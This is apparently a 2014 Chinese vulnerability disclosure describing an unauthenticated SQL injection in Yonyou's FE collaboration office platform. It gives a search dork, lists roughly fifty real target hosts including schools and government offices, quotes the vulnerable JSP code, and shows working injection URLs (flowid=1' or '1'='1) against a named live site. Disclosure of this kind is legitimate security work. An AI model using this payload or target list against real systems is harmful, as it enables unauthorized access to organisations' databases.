用友某办公平台SQL通杀注入漏洞（无需登录）

### 简要描述： ### 详细说明： 涉及客户群体为： 大型企业（如：拉芳集团等等超大企业）、学校（北京师范）、医药、政府（如：珠海市人民防空办公室、广东省渔政总队珠海支队、广东煤炭地质局等等。。。）、能源（电网）、银行等等。。。 通过关键字搜索如下： intitle:"fe协作" http://oa.bamatea.com http://oa.moonbasa.com http://oa.etonetech.com http://oa.ztcz.cn http://218.249.130.74 http://119.146.190.170:9988 http://zhidao.baidu.com http://wenku.baidu.com http://223.4.22.36 http://222.243.160.83:9090 http://www.chipshow.cn http://116.205.96.170:9090 http://www.sxjbjt.com:9090 http://122.225.203.168:8888 http://oa.chinabed.com http://oa.lutongnet.com http://oa.zetacn.com:9090 http://oa.zhcpt.edu.cn http://www.doc88.com http://oa.sinodata.com.cn http://www.docin.com http://www.koyochem.com:8080 http://61.186.155.27 http://oa.nyinn.cn http://115.236.65.115:9090 http://119.146.190.118:8089 http://219.137.250.133 http://123.133.29.174:9090 http://koa.ecp888.com http://www.cting.com.cn http://oa.suncorps.cn http://59.41.47.211 http://oa.bamatea.com:9090 http://oa.zhenaiws.com http://www.koyochem.com:9191 http://60.208.131.46:9090 http://219.131.221.174:9090 http://oa.bnuz.edu.cn:8080 http://183.238.59.61:9090 http://218.205.208.22:9090 http://oa.xhlbdc.com http://124.193.165.174:9090 http://218.75.87.186:9090 http://oa.eva-group.com:511 http://113.106.92.16:9090 http://oa.cqmsy.com http://cting.com.cn http://220.231.158.211 http://oa.tiholding.cn http://124.172.170.141:9090 http://oa.hengdigroup.com:9090 http://www1.elkay.com.cn:9090 http://www.gzpiano.com http://oa.zaffer.cn http://oa.gdisg.com 分析 witapprovemanage\apprvaddNew.jsp ``` Dao dao = (Dao)ResourceManage.getContext("dao"); WitCollocate wit = (WitCollocate)ResourceManage.getContext("witCollocate"); DataTable table = wit.getModels(); DataTable apps = wit.getAppResource(); String flowid = ""; FieldSet fs = null; String tablenameStr = ""; if(request.getParameter("flowid")!=null){ flowid = request.getParameter("flowid");//直接获取flowid变量 fs= dao.getFieldSetByFilter(dao.getTableName("WF_MODEL")," WM00= '" + flowid + "'");//这里进入sql语句查询。。。产生sql注入漏洞 tablenameStr = fs.getString("WM04"); } ``` 证明： http://www1.elkay.com.cn:9090/witapprovemanage/apprvaddNew.jsp?flowid=1' or '1'='1 [<img src="https://images.seebug.org/upload/201408/101810370a0829d199aad3b548ae1eacb5e4d553.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/101810370a0829d199aad3b548ae1eacb5e4d553.jpg) http://www1.elkay.com.cn:9090/witapprovemanage/apprvaddNew.jsp?flowid=1' or '1'='12 [<img src="https://images.seebug.org/upload/201408/10181121295e586929b93bb3d8c40d15d695086e.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/10181121295e586929b93bb3d8c40d15d695086e.jpg) [<img src="https://images.seebug.org/upload/201408/101812141b2dc8d4232f608f67831d87e130d026.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/101812141b2dc8d4232f608f67831d87e130d026.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201408/101812141b2dc8d4232f608f67831d87e130d026.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/101812141b2dc8d4232f608f67831d87e130d026.jpg)